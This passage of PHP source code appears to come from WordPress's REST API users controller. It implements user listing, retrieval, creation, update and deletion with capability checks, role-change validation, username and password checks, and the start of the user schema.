					&& current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_forbidden_who',
				__( 'Sorry, you are not allowed to query users by this parameter.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all users.
	 *
	 * @since 4.7.0
	 * @since 6.8.0 Added support for the search_columns query param.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'exclude'      => 'exclude',
			'include'      => 'include',
			'order'        => 'order',
			'per_page'     => 'number',
			'search'       => 'search',
			'roles'        => 'role__in',
			'capabilities' => 'capability__in',
			'slug'         => 'nicename__in',
		);

		$prepared_args = array();

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $request['offset'];
		} else {
			$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
		}

		if ( isset( $registered['orderby'] ) ) {
			$orderby_possibles        = array(
				'id'              => 'ID',
				'include'         => 'include',
				'name'            => 'display_name',
				'registered_date' => 'registered',
				'slug'            => 'user_nicename',
				'include_slugs'   => 'nicename__in',
				'email'           => 'user_email',
				'url'             => 'user_url',
			);
			$prepared_args['orderby'] = $orderby_possibles[ $request['orderby'] ];
		}

		if ( isset( $registered['who'] ) && ! empty( $request['who'] ) && 'authors' === $request['who'] ) {
			$prepared_args['who'] = 'authors';
		} elseif ( ! current_user_can( 'list_users' ) ) {
			$prepared_args['has_published_posts'] = get_post_types( array( 'show_in_rest' => true ), 'names' );
		}

		if ( ! empty( $request['has_published_posts'] ) ) {
			$prepared_args['has_published_posts'] = ( true === $request['has_published_posts'] )
				? get_post_types( array( 'show_in_rest' => true ), 'names' )
				: (array) $request['has_published_posts'];
		}

		if ( ! empty( $prepared_args['search'] ) ) {
			if ( ! current_user_can( 'list_users' ) ) {
				$prepared_args['search_columns'] = array( 'ID', 'user_login', 'user_nicename', 'display_name' );
			}
			$search_columns         = $request->get_param( 'search_columns' );
			$valid_columns          = isset( $prepared_args['search_columns'] )
				? $prepared_args['search_columns']
				: array( 'ID', 'user_login', 'user_nicename', 'user_email', 'display_name' );
			$search_columns_mapping = array(
				'id'       => 'ID',
				'username' => 'user_login',
				'slug'     => 'user_nicename',
				'email'    => 'user_email',
				'name'     => 'display_name',
			);
			$search_columns         = array_map(
				static function ( $column ) use ( $search_columns_mapping ) {
					return $search_columns_mapping[ $column ];
				},
				$search_columns
			);
			$search_columns         = array_intersect( $search_columns, $valid_columns );
			if ( ! empty( $search_columns ) ) {
				$prepared_args['search_columns'] = $search_columns;
			}
			$prepared_args['search'] = '*' . $prepared_args['search'] . '*';
		}

		$is_head_request = $request->is_method( 'HEAD' );
		if ( $is_head_request ) {
			// Force the 'fields' argument. For HEAD requests, only user IDs are required.
			$prepared_args['fields'] = 'id';
		}
		/**
		 * Filters WP_User_Query arguments when querying users via the REST API.
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_user_query/
		 *
		 * @since 4.7.0
		 *
		 * @param array           $prepared_args Array of arguments for WP_User_Query.
		 * @param WP_REST_Request $request       The REST API request.
		 */
		$prepared_args = apply_filters( 'rest_user_query', $prepared_args, $request );

		$query = new WP_User_Query( $prepared_args );

		if ( ! $is_head_request ) {
			$users = array();

			foreach ( $query->get_results() as $user ) {
				if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) {
					continue;
				}

				$data    = $this->prepare_item_for_response( $user, $request );
				$users[] = $this->prepare_response_for_collection( $data );
			}
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $users );

		// Store pagination values for headers then unset for count query.
		$per_page = (int) $prepared_args['number'];
		$page     = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );

		$prepared_args['fields'] = 'ID';

		$total_users = $query->get_total();

		if ( $total_users < 1 ) {
			// Out-of-bounds, run the query again without LIMIT for total count.
			unset( $prepared_args['number'], $prepared_args['offset'] );
			$count_query = new WP_User_Query( $prepared_args );
			$total_users = $count_query->get_total();
		}

		$response->header( 'X-WP-Total', (int) $total_users );

		$max_pages = (int) ceil( $total_users / $per_page );

		$response->header( 'X-WP-TotalPages', $max_pages );

		$base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the user, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_User|WP_Error True if ID is valid, WP_Error otherwise.
	 */
	protected function get_user( $id ) {
		$error = new WP_Error(
			'rest_user_invalid_id',
			__( 'Invalid user ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$user = get_userdata( (int) $id );
		if ( empty( $user ) || ! $user->exists() ) {
			return $error;
		}

		if ( is_multisite() && ! is_user_member_of_blog( $user->ID ) ) {
			return $error;
		}

		return $user;
	}

	/**
	 * Checks if a given request has access to read a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$types = get_post_types( array( 'show_in_rest' => true ), 'names' );

		if ( get_current_user_id() === $user->ID ) {
			return true;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) && ! current_user_can( 'list_users' ) && ! count_user_posts( $user->ID, $types ) ) {
			return new WP_Error(
				'rest_user_cannot_view',
				__( 'Sorry, you are not allowed to list users.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$user     = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $user );

		return $response;
	}

	/**
	 * Retrieves the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_current_item( $request ) {
		$current_user_id = get_current_user_id();

		if ( empty( $current_user_id ) ) {
			return new WP_Error(
				'rest_not_logged_in',
				__( 'You are not currently logged in.' ),
				array( 'status' => 401 )
			);
		}

		$user     = wp_get_current_user();
		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Checks if a given request has access create users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {

		if ( ! current_user_can( 'create_users' ) ) {
			return new WP_Error(
				'rest_cannot_create_user',
				__( 'Sorry, you are not allowed to create new users.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_user_exists',
				__( 'Cannot create existing user.' ),
				array( 'status' => 400 )
			);
		}

		$schema = $this->get_item_schema();

		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
			$check_permission = $this->check_role_update( $request['id'], $request['roles'] );

			if ( is_wp_error( $check_permission ) ) {
				return $check_permission;
			}
		}

		$user = $this->prepare_item_for_database( $request );

		if ( is_multisite() ) {
			$ret = wpmu_validate_user_signup( $user->user_login, $user->user_email );

			if ( is_wp_error( $ret['errors'] ) && $ret['errors']->has_errors() ) {
				$error = new WP_Error(
					'rest_invalid_param',
					__( 'Invalid user parameter(s).' ),
					array( 'status' => 400 )
				);

				foreach ( $ret['errors']->errors as $code => $messages ) {
					foreach ( $messages as $message ) {
						$error->add( $code, $message );
					}

					$error_data = $error->get_error_data( $code );

					if ( $error_data ) {
						$error->add_data( $error_data, $code );
					}
				}
				return $error;
			}
		}

		if ( is_multisite() ) {
			$user_id = wpmu_create_user( $user->user_login, $user->user_pass, $user->user_email );

			if ( ! $user_id ) {
				return new WP_Error(
					'rest_user_create',
					__( 'Error creating new user.' ),
					array( 'status' => 500 )
				);
			}

			$user->ID = $user_id;
			$user_id  = wp_update_user( wp_slash( (array) $user ) );

			if ( is_wp_error( $user_id ) ) {
				return $user_id;
			}

			$result = add_user_to_blog( get_site()->id, $user_id, '' );
			if ( is_wp_error( $result ) ) {
				return $result;
			}
		} else {
			$user_id = wp_insert_user( wp_slash( (array) $user ) );

			if ( is_wp_error( $user_id ) ) {
				return $user_id;
			}
		}

		$user = get_user_by( 'id', $user_id );

		/**
		 * Fires immediately after a user is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_User         $user     Inserted or updated user object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a user, false when updating.
		 */
		do_action( 'rest_insert_user', $user, $request, true );

		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
			array_map( array( $user, 'add_role' ), $request['roles'] );
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $user_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$user          = get_user_by( 'id', $user_id );
		$fields_update = $this->update_additional_fields_for_object( $user, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a user is completely created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_User         $user     Inserted or updated user object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a user, false when updating.
		 */
		do_action( 'rest_after_insert_user', $user, $request, true );

		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user_id ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! empty( $request['roles'] ) ) {
			if ( ! current_user_can( 'promote_user', $user->ID ) ) {
				return new WP_Error(
					'rest_cannot_edit_roles',
					__( 'Sorry, you are not allowed to edit roles of this user.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}

			$request_params = array_keys( $request->get_params() );
			sort( $request_params );
			/*
			 * If only 'id' and 'roles' are specified (we are only trying to
			 * edit roles), then only the 'promote_user' cap is required.
			 */
			if ( array( 'id', 'roles' ) === $request_params ) {
				return true;
			}
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$id = $user->ID;

		$owner_id = false;
		if ( is_string( $request['email'] ) ) {
			$owner_id = email_exists( $request['email'] );
		}

		if ( $owner_id && $owner_id !== $id ) {
			return new WP_Error(
				'rest_user_invalid_email',
				__( 'Invalid email address.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $request['username'] ) && $request['username'] !== $user->user_login ) {
			return new WP_Error(
				'rest_user_invalid_argument',
				__( 'Username is not editable.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $request['slug'] ) && $request['slug'] !== $user->user_nicename && get_user_by( 'slug', $request['slug'] ) ) {
			return new WP_Error(
				'rest_user_invalid_slug',
				__( 'Invalid slug.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $request['roles'] ) ) {
			$check_permission = $this->check_role_update( $id, $request['roles'] );

			if ( is_wp_error( $check_permission ) ) {
				return $check_permission;
			}
		}

		$user = $this->prepare_item_for_database( $request );

		// Ensure we're operating on the same user we already checked.
		$user->ID = $id;

		$user_id = wp_update_user( wp_slash( (array) $user ) );

		if ( is_wp_error( $user_id ) ) {
			return $user_id;
		}

		$user = get_user_by( 'id', $user_id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
		do_action( 'rest_insert_user', $user, $request, false );

		if ( ! empty( $request['roles'] ) ) {
			array_map( array( $user, 'add_role' ), $request['roles'] );
		}

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$user          = get_user_by( 'id', $user_id );
		$fields_update = $this->update_additional_fields_for_object( $user, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
		do_action( 'rest_after_insert_user', $user, $request, false );

		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Checks if a given request has access to update the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_current_item_permissions_check( $request ) {
		$request['id'] = get_current_user_id();

		return $this->update_item_permissions_check( $request );
	}

	/**
	 * Updates the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_current_item( $request ) {
		$request['id'] = get_current_user_id();

		return $this->update_item( $request );
	}

	/**
	 * Checks if a given request has access delete a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'delete_user', $user->ID ) ) {
			return new WP_Error(
				'rest_user_cannot_delete',
				__( 'Sorry, you are not allowed to delete this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		// We don't support delete requests in multisite.
		if ( is_multisite() ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The user cannot be deleted.' ),
				array( 'status' => 501 )
			);
		}

		$user = $this->get_user( $request['id'] );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$id       = $user->ID;
		$reassign = false === $request['reassign'] ? null : absint( $request['reassign'] );
		$force    = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for users.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( "Users do not support trashing. Set '%s' to delete." ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		if ( ! empty( $reassign ) ) {
			if ( $reassign === $id || ! get_userdata( $reassign ) ) {
				return new WP_Error(
					'rest_user_invalid_reassign',
					__( 'Invalid user ID for reassignment.' ),
					array( 'status' => 400 )
				);
			}
		}

		$request->set_param( 'context', 'edit' );

		$previous = $this->prepare_item_for_response( $user, $request );

		// Include user admin functions to get access to wp_delete_user().
		require_once ABSPATH . 'wp-admin/includes/user.php';

		$result = wp_delete_user( $id, $reassign );

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The user cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/**
		 * Fires immediately after a user is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_User          $user     The user data.
		 * @param WP_REST_Response $response The response returned from the API.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( 'rest_delete_user', $user, $response, $request );

		return $response;
	}

	/**
	 * Checks if a given request has access to delete the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_current_item_permissions_check( $request ) {
		$request['id'] = get_current_user_id();

		return $this->delete_item_permissions_check( $request );
	}

	/**
	 * Deletes the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_current_item( $request ) {
		$request['id'] = get_current_user_id();

		return $this->delete_item( $request );
	}

	/**
	 * Prepares a single user output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_User         $item    User object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$user = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
			return apply_filters( 'rest_prepare_user', new WP_REST_Response( array() ), $user, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = $user->ID;
		}

		if ( in_array( 'username', $fields, true ) ) {
			$data['username'] = $user->user_login;
		}

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $user->display_name;
		}

		if ( in_array( 'first_name', $fields, true ) ) {
			$data['first_name'] = $user->first_name;
		}

		if ( in_array( 'last_name', $fields, true ) ) {
			$data['last_name'] = $user->last_name;
		}

		if ( in_array( 'email', $fields, true ) ) {
			$data['email'] = $user->user_email;
		}

		if ( in_array( 'url', $fields, true ) ) {
			$data['url'] = $user->user_url;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $user->description;
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_author_posts_url( $user->ID, $user->user_nicename );
		}

		if ( in_array( 'locale', $fields, true ) ) {
			$data['locale'] = get_user_locale( $user );
		}

		if ( in_array( 'nickname', $fields, true ) ) {
			$data['nickname'] = $user->nickname;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $user->user_nicename;
		}

		if ( in_array( 'roles', $fields, true ) && ( current_user_can( 'list_users' ) || current_user_can( 'edit_user', $user->ID ) ) ) {
			// Defensively call array_values() to ensure an array is returned.
			$data['roles'] = array_values( $user->roles );
		}

		if ( in_array( 'registered_date', $fields, true ) ) {
			$data['registered_date'] = gmdate( 'c', strtotime( $user->user_registered ) );
		}

		if ( in_array( 'capabilities', $fields, true ) ) {
			$data['capabilities'] = (object) $user->allcaps;
		}

		if ( in_array( 'extra_capabilities', $fields, true ) ) {
			$data['extra_capabilities'] = (object) $user->caps;
		}

		if ( in_array( 'avatar_urls', $fields, true ) ) {
			$data['avatar_urls'] = rest_get_avatar_urls( $user );
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $user->ID, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'embed';

		$data = $this->add_additional_fields_to_object( $data, $request );
		$data = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $user ) );
		}

		/**
		 * Filters user data returned from the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_User          $user     User object used to create response.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_user', $response, $user, $request );
	}

	/**
	 * Prepares links for the user request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_User $user User object.
	 * @return array Links for the given user.
	 */
	protected function prepare_links( $user ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user->ID ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);

		return $links;
	}

	/**
	 * Prepares a single user for creation or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object User object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_user = new stdClass();

		$schema = $this->get_item_schema();

		// Required arguments.
		if ( isset( $request['email'] ) && ! empty( $schema['properties']['email'] ) ) {
			$prepared_user->user_email = $request['email'];
		}

		if ( isset( $request['username'] ) && ! empty( $schema['properties']['username'] ) ) {
			$prepared_user->user_login = $request['username'];
		}

		if ( isset( $request['password'] ) && ! empty( $schema['properties']['password'] ) ) {
			$prepared_user->user_pass = $request['password'];
		}

		// Optional arguments.
		if ( isset( $request['id'] ) ) {
			$prepared_user->ID = absint( $request['id'] );
		}

		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_user->display_name = $request['name'];
		}

		if ( isset( $request['first_name'] ) && ! empty( $schema['properties']['first_name'] ) ) {
			$prepared_user->first_name = $request['first_name'];
		}

		if ( isset( $request['last_name'] ) && ! empty( $schema['properties']['last_name'] ) ) {
			$prepared_user->last_name = $request['last_name'];
		}

		if ( isset( $request['nickname'] ) && ! empty( $schema['properties']['nickname'] ) ) {
			$prepared_user->nickname = $request['nickname'];
		}

		if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
			$prepared_user->user_nicename = $request['slug'];
		}

		if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
			$prepared_user->description = $request['description'];
		}

		if ( isset( $request['url'] ) && ! empty( $schema['properties']['url'] ) ) {
			$prepared_user->user_url = $request['url'];
		}

		if ( isset( $request['locale'] ) && ! empty( $schema['properties']['locale'] ) ) {
			$prepared_user->locale = $request['locale'];
		}

		// Setting roles will be handled outside of this function.
		if ( isset( $request['roles'] ) ) {
			$prepared_user->role = false;
		}

		/**
		 * Filters user data before insertion via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param object          $prepared_user User object.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( 'rest_pre_insert_user', $prepared_user, $request );
	}

	/**
	 * Determines if the current user is allowed to make the desired roles change.
	 *
	 * @since 4.7.0
	 *
	 * @global WP_Roles $wp_roles WordPress role management object.
	 *
	 * @param int   $user_id User ID.
	 * @param array $roles   New user roles.
	 * @return true|WP_Error True if the current user is allowed to make the role change,
	 *                       otherwise a WP_Error object.
	 */
	protected function check_role_update( $user_id, $roles ) {
		global $wp_roles;

		foreach ( $roles as $role ) {

			if ( ! isset( $wp_roles->role_objects[ $role ] ) ) {
				return new WP_Error(
					'rest_user_invalid_role',
					/* translators: %s: Role key. */
					sprintf( __( 'The role %s does not exist.' ), $role ),
					array( 'status' => 400 )
				);
			}

			$potential_role = $wp_roles->role_objects[ $role ];

			/*
			 * Don't let anyone with 'edit_users' (admins) edit their own role to something without it.
			 * Multisite super admins can freely edit their blog roles -- they possess all caps.
			 */
			if ( ! ( is_multisite()
				&& current_user_can( 'manage_sites' ) )
				&& get_current_user_id() === $user_id
				&& ! $potential_role->has_cap( 'edit_users' )
			) {
				return new WP_Error(
					'rest_user_invalid_role',
					__( 'Sorry, you are not allowed to give users that role.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}

			// Include user admin functions to get access to get_editable_roles().
			require_once ABSPATH . 'wp-admin/includes/user.php';

			// The new role must be editable by the logged-in user.
			$editable_roles = get_editable_roles();

			if ( empty( $editable_roles[ $role ] ) ) {
				return new WP_Error(
					'rest_user_invalid_role',
					__( 'Sorry, you are not allowed to give users that role.' ),
					array( 'status' => 403 )
				);
			}
		}

		return true;
	}

	/**
	 * Check a username for the REST API.
	 *
	 * Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
	 *
	 * @since 4.7.0
	 *
	 * @param string          $value   The username submitted in the request.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return string|WP_Error The sanitized username, if valid, otherwise an error.
	 */
	public function check_username( $value, $request, $param ) {
		$username = (string) $value;

		if ( ! validate_username( $username ) ) {
			return new WP_Error(
				'rest_user_invalid_username',
				__( 'This username is invalid because it uses illegal characters. Please enter a valid username.' ),
				array( 'status' => 400 )
			);
		}

		/** This filter is documented in wp-includes/user.php */
		$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );

		if ( in_array( strtolower( $username ), array_map( 'strtolower', $illegal_logins ), true ) ) {
			return new WP_Error(
				'rest_user_invalid_username',
				__( 'Sorry, that username is not allowed.' ),
				array( 'status' => 400 )
			);
		}

		return $username;
	}

	/**
	 * Check a user password for the REST API.
	 *
	 * Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
	 *
	 * @since 4.7.0
	 *
	 * @param string          $value   The password submitted in the request.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return string|WP_Error The sanitized password, if valid, otherwise an error.
	 */
	public function check_user_password(
		#[\SensitiveParameter]
		$value,
		$request,
		$param
	) {
		$password = (string) $value;

		if ( empty( $password ) ) {
			return new WP_Error(
				'rest_user_invalid_password',
				__( 'Passwords cannot be empty.' ),
				array( 'status' => 400 )
			);
		}

		if ( str_contains( $password, '\\' ) ) {
			return new WP_Error(
				'rest_user_invalid_password',
				sprintf(
					/* translators: %s: The '\' character. */
					__( 'Passwords cannot contain the "%s" character.' ),
					'\\'
				),
				array( 'status' => 400 )
			);
		}

		return $password;
	}

	/**
	 * Retrieves the user's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'user',
			'type'       => 'object',
			'properties' => array(
				'id'                 => array(
					'description' => __( 'Unique identifier for the user.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'username'           => array(
					'description' => __( 'Login name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'required'    => true,
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_username' ),
					),
				),
				'name'               => array(
					'description' => __( 'Display name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'first_name'         => array(
					'description' => __( 'First name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'last_name'          => array(
					'description' => __( 'Last name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'email'              => array(
					'description' => __( 'The email address for the user.' ),
					'type'        => 'string',
					'format'      => 'email',
					'context'     => array( 'edit' ),
					'required'    => true,
				),
				'url'                => array(
					'description' => __( 'URL of the user.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'description'        => array(
					'description' => __( 'Description of the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'link'               => array(
					'description' => __( 'Author URL of the user.' ),
					'type'        => 'string',
